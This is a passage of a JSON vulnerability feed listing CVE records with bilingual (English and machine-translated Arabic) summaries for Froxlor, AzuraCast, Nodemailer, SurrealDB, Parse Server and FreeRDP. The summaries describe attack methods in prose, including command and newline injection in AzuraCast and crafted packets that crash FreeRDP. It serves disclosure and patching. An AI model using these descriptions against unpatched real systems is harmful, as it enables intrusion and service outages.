ثوانٍ."},"refs":[["https://github.com/lepture/mistune/commit/b4dd3284e52ec741ed9a227db29ade9017828e90","patch"],["https://github.com/lepture/mistune/security/advisories/GHSA-qp42-r9j6-83g9","advisory"],["https://www.vulncheck.com/advisories/mistune-3.3.0-before-3.3.4-quadratic-time-dos-via-process-emphasis-delimiters","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"lepture-mistune"},{"id":"CVE-2026-121436","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:28Z","product":"froxlor froxlor","affected":[["2.3.8 – <2.3.15","2.3.15"]],"title":{"en":"Froxlor 2.3.8 before 2.3.15 API Key Disclosure via api_keys.php","ar":"كشف مفتاح واجهة برمجة التطبيقات في Froxlor من الإصدار 2.3.8 حتى ما قبل 2.3.15 عبر api_keys.php"},"summary":{"en":"Froxlor from 2.3.8 before 2.3.15 contains an information disclosure vulnerability that allows administrators with customers_see_all to view every account's API key and secret through an unscoped WHERE 1 query in api_keys.php. Attackers can read the super administrator's apikey and secret from the detail modal and replay them to the API to gain super administrator control.","ar":"يحتوي منتج Froxlor من الإصدار 2.3.8 حتى ما قبل 2.3.15 على ثغرة كشف معلومات تسمح للمسؤولين الذين لديهم صلاحية customers_see_all بعرض مفتاح واجهة برمجة التطبيقات والسر لكل حساب عبر استعلام WHERE 1 غير مقيد في ملف api_keys.php. يمكن للمهاجمين قراءة مفتاح واجهة برمجة التطبيقات والسر الخاص بمسؤول النظام الأساسي من نافذة التفاصيل المنبثقة وإعادة إرسالهما إلى واجهة برمجة التطبيقات للحصول على صلاحيات مسؤول النظام الأساسي."},"refs":[["https://github.com/froxlor/froxlor/security/advisories/GHSA-5fm2-8wxf-xc5v","advisory"],["https://www.vulncheck.com/advisories/froxlor-2.3.8-before-2.3.15-api-key-disclosure-via-api-keys-php","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"froxlor"},{"id":"CVE-2026-121429","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T14:28:23Z","product":"AzuraCast AzuraCast","affected":[["0 – 0.23.8",null]],"title":{"en":"AzuraCast through 0.23.8 Command Injection via StereoTool Liquidsoap pipe()","ar":"حقن الأوامر في AzuraCast حتى الإصدار 0.23.8 عبر خط أنابيب StereoTool Liquidsoap"},"summary":{"en":"AzuraCast through 0.23.8 contains a command injection vulnerability that allows station users with Profile permission to execute OS commands via StereoTool settings. Attackers can inject shell metacharacters into stereo_tool_configuration_path or stereo_tool_license_key, which are executed via /bin/sh on station restart, compromising the container.","ar":"يحتوي منتج AzuraCast حتى الإصدار 0.23.8 على ثغرة حقن أوامر تسمح لمستخدمي المحطة الذين يمتلكون صلاحية Profile بتنفيذ أوامر نظام التشغيل عبر إعدادات StereoTool. يمكن للمهاجمين حقن أحرف شل وصفية في stereo_tool_configuration_path أو stereo_tool_license_key، والتي يتم تنفيذها عبر /bin/sh عند إعادة تشغيل المحطة، مما يؤدي إلى اختراق الحاوية."},"refs":[["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fx","advisory"],["https://www.vulncheck.com/advisories/azuracast-through-0.23.8-command-injection-via-stereotool-liquidsoap-pipe","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"azuracast"},{"id":"CVE-2026-121427","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-15","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T14:28:22Z","product":"AzuraCast AzuraCast","affected":[["0 – 0.23.8",null]],"title":{"en":"AzuraCast through 0.23.8 Config Injection via frontend_config.custom_config","ar":"حقن ملف التكوين في AzuraCast حتى الإصدار 0.23.8 عبر frontend_config.custom_config"},"summary":{"en":"AzuraCast through 0.23.8 fails to remove frontend_config.custom_config in PUT /station/{id}/profile/edit for users lacking the Manage station broadcasting permission, and the stored JSON is written verbatim as key=value lines into the Shoutcast sc_serv.conf file. An authenticated user with only the Manage station profile permission can override adminpassword, password, and portbase, or inject arbitrary directives via newlines in keys, hijacking the station's Shoutcast frontend.","ar":"يفشل منتج AzuraCast حتى الإصدار 0.23.8 في إزالة frontend_config.custom_config في الطلب PUT /station/{id}/profile/edit للمستخدمين الذين يفتقرون إلى صلاحية إدارة بث المحطة Manage station broadcasting، وتتم كتابة بيانات JSON المخزنة حرفياً كأساطر من نوع key=value في ملف Shoutcast sc_serv.conf. يمكن لمستخدم مصدق يمتلك صلاحية Manage station profile فقط تجاوز adminpassword و password و portbase، أو حقن توجيهات عشوائية عبر أسطر جديدة في المفاتيح، مما يؤدي إلى اختطاف واجهة Shoutcast الخاصة بالمحطة."},"refs":[["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-2wcv-vv3g-g86q","advisory"],["https://www.vulncheck.com/advisories/azuracast-through-0.23.8-config-injection-via-frontend-config-custom-config","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"azuracast"},{"id":"CVE-2026-121428","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T14:28:22Z","product":"AzuraCast AzuraCast","affected":[["0 – 0.23.8",null]],"title":{"en":"AzuraCast through 0.23.8 RCE via Supervisor Configuration Injection in Timezone","ar":"تنفيذ أوامر عن بُعد في AzuraCast حتى الإصدار 0.23.8 عبر حقن إعدادات Supervisor في حقل المنطقة الزمنية"},"summary":{"en":"AzuraCast through 0.23.8 contains a remote code execution vulnerability that allows authenticated station managers to inject Supervisor configuration through the station timezone field. Attackers can submit a timezone containing newlines to the profile edit API, defining a new Supervisor program that executes OS commands as root when configuration regenerates.","ar":"يحتوي منتج AzuraCast حتى الإصدار 0.23.8 على ثغرة تنفيذ أوامر عن بُعد تسمح لمديري المحطات المصادق عليهم بحقن إعدادات Supervisor من خلال حقل المنطقة الزمنية للمحطة. يمكن للمهاجمين إرسال منطقة زمنية تحتوي على أسطر جديدة إلى واجهة برمجة تطبيقات تعديل الملف الشخصي، مما يؤدي إلى تحديد برنامج Supervisor جديد ينفذ أوامر نظام التشغيل بصلاحيات الجذر عند إعادة إنشاء التكوين."},"refs":[["https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-23wx-88m8-pfm2","advisory"],["https://www.vulncheck.com/advisories/azuracast-through-0.23.8-rce-via-supervisor-configuration-injection-in-timezone","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"azuracast"},{"id":"CVE-2026-121426","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:21Z","product":"nodemailer nodemailer","affected":[["3.0.0 – <10.1.4","10.1.4"]],"title":{"en":"Nodemailer 3.0.0 before 10.1.4 Recipient Domain Confusion via addressparser","ar":"ارتباك نطاق المستلم في Nodemailer من الإصدار 3.0.0 حتى ما قبل 10.1.4 عبر addressparser"},"summary":{"en":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that ends an angle-addr at a '>' inside a quoted local part, comment or domain literal. Attackers can submit addresses that validate as an allowed domain but are delivered to an attacker-controlled domain, bypassing recipient allow lists and disclosing message content.","ar":"يحتوي منتج Nodemailer من الإصدار 3.0.0 حتى ما قبل 10.1.4 على ثغرة تحليل عناوين في addressparser تُنهي عنوان angle-addr عند وجود علامة '>' داخل جزء محلي مُقتبس أو تعليق أو نطاق حرفي. يمكن للمهاجمين إرسال عناوين تتحقق على أنها نطاق مسموح به ولكن يتم تسليمها إلى نطاق يسيطر عليه المهاجم، مما يتجاوز قوائم السماح للمستلمين ويكشف محتوى الرسالة."},"refs":[["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h","advisory"],["https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-domain-confusion-via-addressparser","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodemailer"},{"id":"CVE-2026-121424","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:20Z","product":"nodemailer nodemailer","affected":[["3.0.0 – <10.1.4","10.1.4"]],"title":{"en":"Nodemailer 3.0.0 before 10.1.4 Address Parsing Bypass via Nested Comments","ar":"تجاوز تحليل العناوين في Nodemailer 3.0.0 قبل الإصدار 10.1.4 عبر التعليقات المتداخلة"},"summary":{"en":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.","ar":"يحتوي Nodemailer من الإصدار 3.0.0 وقبل 10.1.4 على ثغرة في تحليل العناوين داخل مكتبة addressparser تتيح للمهاجمين عن بُعد إعادة توجيه المستلمين من خلال إنهاء تعليقات RFC 5322 المتداخلة عند أول قوس مغلق. يمكن للمهاجمين إرسال عناوين يخفي تعليقها المتداخل عنوانًا للمهاجم، مما يؤدي إلى تجاوز أدوات التحقق المطابقة وقوائم السماح للمستلمين لتلقي البريد أو انتحال المرسلين في mailparser."},"refs":[["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8","advisory"],["https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-address-parsing-bypass-via-nested-comments","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodemailer"},{"id":"CVE-2026-121425","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:20Z","product":"nodemailer nodemailer","affected":[["3.0.0 – <10.1.4","10.1.4"]],"title":{"en":"Nodemailer 3.0.0 before 10.1.4 Recipient Injection via addressparser Group Parsing","ar":"حقن المستلمين في Nodemailer 3.0.0 قبل الإصدار 10.1.4 عبر تحليل مجموعات addressparser"},"summary":{"en":"Nodemailer from 3.0.0 before 10.1.4 contains a parsing flaw in addressparser that ends an RFC 5322 group at a semicolon inside quoted display names or comments. Attackers can submit crafted group addresses that conformant validators approve, redirecting mail to attacker-chosen recipients and bypassing recipient allow lists.","ar":"يحتوي Nodemailer من الإصدار 3.0.0 وقبل 10.1.4 على عيب في التحليل داخل addressparser يؤدي إلى إنهاء مجموعة RFC 5322 عند فاصلة منقوطة داخل أسماء العرض المحاطة بعلامات تنصيص أو التعليقات. يمكن للمهاجمين إرسال عناوين مجموعات مصممة توافقها أدوات التحقق المطابقة، مما يعيد توجيه البريد إلى مستلمين يختارهم المهاجم ويتجاوز قوائم السماح للمستلمين."},"refs":[["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w","advisory"],["https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-injection-via-addressparser-group-parsing","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodemailer"},{"id":"CVE-2026-121423","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-674","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:19Z","product":"surrealdb surrealdb","affected":[["0 – <3.3.0","3.3.0"]],"title":{"en":"SurrealDB before 3.3.0 DoS via Unbounded Recursion in val::Value Serialization","ar":"حجب الخدمة في SurrealDB قبل الإصدار 3.3.0 عبر التكرار غير المحدود في تسلسل val::Value"},"summary":{"en":"SurrealDB before 3.3.0 contains an unbounded recursion vulnerability that allows authenticated users to abort the surreald process by triggering stack overflow on deeply nested values. Attackers can repeatedly run UPDATE statements wrapping a stored array in itself, then SELECT or EXPORT it, causing persistent denial of service for all tenants.","ar":"يحتوي SurrealDB قبل الإصدار 3.3.0 على ثغرة تكرار غير محدود تسمح للمستخدمين المصدق لهم بإيقاف عملية surreald عن طريق تفعيل فيضان في المكدس على قيم متداخلة بشكل عميق. يمكن للمهاجمين تشغيل عبارات UPDATE بشكل متكرر لتغليف مصفوفة مخزنة داخل نفسها، ثم تنفيذ SELECT أو EXPORT، مما يتسبب في حجب خدمة مستمر لجميع المستأجرين."},"refs":[["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-rpmq-gq3f-h6jg","advisory"],["https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-dos-via-unbounded-recursion-in-val-value-serialization","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"surrealdb"},{"id":"CVE-2026-121419","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:16Z","product":"surrealdb surrealdb","affected":[["3.1.0 – <3.3.0","3.3.0"]],"title":{"en":"SurrealDB 3.1.0 before 3.3.0 MCP Session Hijack via BoundSubject Collision","ar":"اختراق جلسة MCP في SurrealDB 3.1.0 قبل 3.3.0 عبر تصادم BoundSubject"},"summary":{"en":"SurrealDB from 3.1.0 before 3.3.0 contains an improper authentication vulnerability where the MCP BoundSubject fingerprint uses the access method name instead of per-user identity for JWT/Bearer access. Attackers with a valid low-privilege token for the same access method and a victim's mcp-session-id can hijack the session and execute MCP tools with the victim's roles and permissions.","ar":"يحتوي SurrealDB من الإصدار 3.1.0 قبل 3.3.0 على ثغرة مصادقة غير سليمة حيث تستخدم بصمة MCP BoundSubject اسم طريقة الوصول بدلاً من هوية كل مستخدم للوصول عبر JWT/Bearer. يمكن للمهاجمين الذين يملكون رمز وصول صالحاً بصلاحيات منخفضة لنفس طريقة الوصول مع معرف جلسة mcp-session-id الخاص بالضحية، اختراق الجلسة وتنفيذ أدوات MCP بأدوار الصلاحيات الخاصة بالضحية."},"refs":[["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcx","advisory"],["https://www.vulncheck.com/advisories/surrealdb-3.1.0-before-3.3.0-mcp-session-hijack-via-boundsubject-collision","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"surrealdb"},{"id":"CVE-2026-121417","cvss":8.8,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:15Z","product":"surrealdb surrealdb","affected":[["0 – <3.3.0","3.3.0"]],"title":{"en":"SurrealDB before 3.3.0 Use-After-Free via affinitypool spawn_local in KV Backends","ar":"استخدام الذاكرة بعد تحريرها في SurrealDB قبل الإصدار 3.3.0 عبر affinitypool spawn_local في واجهات تخزين KV الخلفية"},"summary":{"en":"SurrealDB before 3.3.0 contains a use-after-free vulnerability in surrealdb-core KV backends that pass borrowed transaction state into affinitypool::spawn_local closures relying on future Drop for safety. Rust embedders that leak a dispatched future (e.g. via mem::forget) and drop the transaction cause pool workers to read and write freed memory, risking crashes or memory corruption.","ar":"يحتوي SurrealDB قبل الإصدار 3.3.0 على ثغرة استخدام الذاكرة بعد تحريرها في واجهات تخزين KV الخلفية الخاصة بـ surrealdb-core والتي تمرر حالة معاملة مستعارة إلى إغلاقات affinitypool::spawn_local مع الاعتماد على مستقبل Drop للسلامة. إن مطوري Rust الذين يُسربون مستقبلاً مرسلاً (مثل استخدام mem::forget) ويحذفون المعاملة يتسببون في قيام عمال التجمع بالقراءة والكتابة في ذاكرة محررة، مما يخطِر بحدوث تعطل أو تلف في الذاكرة."},"refs":[["https://github.com/surrealdb/surrealdb/commit/17584a181979f04f2aaad867332c22db1caa511a","patch"],["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-pm86-cc75-q463","advisory"],["https://www.vulncheck.com/advisories/surrealdb-before-3.3.0-use-after-free-via-affinitypool-spawn-local-in-kv-backends","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"surrealdb"},{"id":"CVE-2026-121416","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:14Z","product":"surrealdb surrealdb","affected":[["2.0.0 – <3.3.1","3.3.1"]],"title":{"en":"SurrealDB 2.0.0 before 3.3.1 deny-funcs Capability Bypass via Method-Style Invocations","ar":"تجاوز قدرة deny-funcs في SurrealDB 2.0.0 قبل الإصدار 3.3.1 عبر استدعاءات الدوال بأسلوب الأساليب"},"summary":{"en":"SurrealDB 2.0.0 before 3.3.1 does not enforce --deny-funcs restrictions on method-style function calls in the streaming engine, because MethodPart::evaluate invokes resolved functions without a capability check. Authenticated users who can submit queries can run denied functions via method syntax, e.g. [1,2].map() or $f.put()/$f.get() to write and read file bucket data despite file::* denials.","ar":"لا يفرض SurrealDB 2.0.0 قبل الإصدار 3.3.1 القيود المفروضة عبر --deny-funcs على استدعاءات الدوال بأسلوب الأساليب في محرك البث، لأن MethodPart::evaluate تستدعي الدوال التي تم حلها دون التحقق من القدرات. يمكن للمستخدمين المصدق لهم القادرين على إرسال استعلامات تشغيل دوال محظورة عبر بناء جملة الأساليب، مثل [1,2].map() أو $f.put()/$f.get() لكتابة وقراءة بيانات حاوية الملفات على الرغم من حظر file::*."},"refs":[["https://github.com/surrealdb/surrealdb/security/advisories/GHSA-p296-7pr4-87rr","advisory"],["https://www.vulncheck.com/advisories/surrealdb-2.0.0-before-3.3.1-deny-funcs-capability-bypass-via-method-style-invocations","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"surrealdb"},{"id":"CVE-2026-121414","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:13Z","product":"parse-community parse-server","affected":[["9.0.0 – <9.10.6-alpha.2","9.10.6-alpha.2"],["0 – <8.6.110","8.6.110"]],"title":{"en":"Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 Denial of Service via afterSave Pointer Update","ar":"حجب الخدمة في Parse Server قبل الإصدارين 8.6.110 و9.0.0 قبل الإصدار 9.10.6-alpha.2 عبر تحديث المؤشر afterSave"},"summary":{"en":"Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 fails to contain a serialization error when an object update uses a dot notation key targeting a pointer field's object identifier on a class with an afterSave trigger. Attackers, including unauthenticated clients when objects are writable without a session, can send such an update to crash the Node process.","ar":"يفشل Parse Server قبل الإصدارين 8.6.110 و9.0.0 وقبل الإصدار 9.10.6-alpha.2 في احتواء خطأ في التسلسل عندما يستخدم تحديث الكائن مفتاح تدوين نقطي يستهدف معرف كائن حقل مؤشر على فئة ذات مشغل afterSave. يمكن للمهاجمين، بما في ذلك العملاء غير المصدق لهم عندما تكون الكائنات قابلة للكتابة دون جلسة، إرسال مثل هذا التحديث لإحداث تعطل في عملية Node."},"refs":[["https://github.com/parse-community/parse-server/pull/10802","patch"],["https://github.com/parse-community/parse-server/pull/10803","patch"],["https://github.com/parse-community/parse-server/security/advisories/GHSA-wc3c-6843-q7mv","advisory"],["https://www.vulncheck.com/advisories/parse-server-before-8.6.110-and-9.0.0-before-9.10.6-alpha.2-denial-of-service-via-aftersave-pointer-update","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"parse-community-parse-server"},{"id":"CVE-2026-121412","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:11Z","product":"FreeRDP FreeRDP","affected":[["3.0.0 – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP 3.0.0 before 3.32.2 Proxy Memory Exhaustion via DVC Reassembly","ar":"استنفاد ذاكرة وكيل FreeRDP 3.0.0 قبل الإصدار 3.32.2 عبر إعادة تجميع DVC"},"summary":{"en":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource consumption vulnerability in the proxy that lets connected clients retain heap memory via intercepted DVC message reassembly. Attackers can declare a large DATA_FIRST length and keep sending fragments without completing the message, growing proxy memory proportional to traffic and degrading service.","ar":"يحتوي FreeRDP من الإصدار 3.0.0 وقبل 3.32.2 على ثغرة استهلاك موارد غير مراقبة في الوكيل تتيح للعملاء المتصلين الاحتفاظ بذاكرة كومة عبر إعادة تجميع رسائل DVC المعترضة. يمكن للمهاجمين الإعلان عن طول DATA_FIRST كبير والاستمرار في إرسال أجزاء دون إكمال الرسالة، مما يزيد من ذاكرة الوكيل بشكل يتناسب مع حركة المرور ويؤدي إلى تدهور الخدمة."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m7xq-5f7v-hjvw","advisory"],["https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-proxy-memory-exhaustion-via-dvc-reassembly","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121409","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-617","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:09Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Denial of Service via Oversized X.224 Routing Token","ar":"حجب الخدمة في FreeRDP قبل الإصدار 3.32.2 عبر رمز توجيه X.224 مفرط الحجم"},"summary":{"en":"FreeRDP before 3.32.2 contains a denial of service vulnerability that allows malicious servers or unauthenticated peers to abort clients or proxies via oversized X.224 routing tokens. Attackers can send an oversized LoadBalanceInfo in a Server Redirection PDU, or a 240–247 byte token to a FixedTarget freerdp-proxy, triggering a tpdu_write_header assertion that crashes the process.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة حجب الخدمة التي تسمح للخوادم الضارة أو الأقران غير المصدق لهم بإجبار العملاء أو الوكلاء على التوقف عبر رمز توجيه X.224 مفرط الحجم. يمكن للمهاجمين إرسال معلومات موازنة حمولة (LoadBalanceInfo) مفرطة الحجم في حزمة توجيه الخادم (Server Redirection PDU)، أو رمز بحجم 240-247 بايت إلى وكيل ثابت (FixedTarget freerdp-proxy)، مما يؤدي إلى تشغيل تأكيد tpdu_write_header يتسبب في تعطل العملية."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3hf9-w6hr-hf9j","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-oversized-x-224-routing-token","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121407","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:08Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Shadow Server Denial of Service via remdesk Channel","ar":"حجب خدمة خادم الظل في FreeRDP قبل الإصدار 3.32.2 عبر قناة remdesk"},"summary":{"en":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server's remdesk_server_thread that allows authenticated clients to crash the process via an inverted PDU length check. Attackers can send an 8192-byte remdesk payload declaring an eight-byte PDU length to trigger a fatal Stream_Seek assertion, aborting the server and dropping sessions.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة حجب الخدمة في خيط remdesk_server_thread لخادم الظل والتي تسمح للعملاء المصدق لهم بتعطل العملية عبر فحص طول حزمة PDU معكوس. يمكن للمهاجمين إرسال حمولة remdesk بحجم 8192 بايت تعلن عن طول PDU يبلغ ثمانية بايتات لتشغيل تأكيد Stream_Seek القاتل، مما يؤدي إلى إيقاف الخادم وإسقاط الجلسات."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x8vp-ff7m-294g","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-denial-of-service-via-remdesk-channel","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121404","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:06Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 Shadow Server CPU Exhaustion via Zero-Length DVC DATA","ar":"إرهاق وحدة المعالجة المركزية في FreeRDP قبل الإصدار 3.32.2 لشاشة الخادم عبر بيانات DVC ذات الطول الصدري"},"summary":{"en":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server that allows authenticated RDP clients to spin server threads by sending zero-length drdynvc DATA PDUs. Attackers can send empty DATA messages on opened audin or rdpgfx channels, so that FreeRDP_WTSVirtualChannelRead never consumes them, consuming full CPU cores until disconnect.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة حجب الخدمة في خادم الشاشة (shadow server) والتي تسمح لعملاء RDP المصادق عليهم بتشغيل خيوط معالجة الخادم عن طريق إرسال وحدات بيانات drdynvc DATA ذات الطول الصفري. يمكن للمهاجمين إرسال رسائل بيانات فارغة على قنوات audin أو rdpgfx المفتوحة، بحيث لا تستهلكها FreeRDP_WTSVirtualChannelRead أبدًا، مما يستنزف نوى وحدة المعالجة المركزية بالكامل حتى قطع الاتصال."},"refs":[["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-fqcj-rwww-2498","advisory"],["https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-cpu-exhaustion-via-zero-length-dvc-data","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"freerdp"},{"id":"CVE-2026-121402","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:04Z","product":"FreeRDP FreeRDP","affected":[["0 – <3.32.2","3.32.2"],[" – <3.32.2","3.32.2"]],"title":{"en":"FreeRDP before 3.32.2 X11 Client Crash via Zero-Width RDPGFX ResetGraphics","ar":"تعطل عميل X11 في FreeRDP قبل الإصدار 3.32.2 عبر إعادة ضبط الرسومات RDPGFX ذات العرض الصدري"},"summary":{"en":"FreeRDP before 3.32.2 contains a NULL pointer dereference vulnerability that allows malicious RDP servers to crash xfreerdp clients by sending a zero-width RDPGFX ResetGraphics PDU. The failed resize in gdi_resize_ex leaves the primary display null without ending the session, so a later bitmap update crashes the client in gdi_Bitmap_Paint.","ar":"يحتوي FreeRDP قبل الإصدار 3.32.2 على ثغرة إلغاء الإشارة إلى مؤشر فارغ (NULL pointer dereference) والتي تسمح لخوادم RDP الخبيثة بتعطيل عملاء xfreerdp عن طريق إرسال وحدة بيانات RDPGFX ResetGraphics ذات عرض صفري. يؤدي تغيير 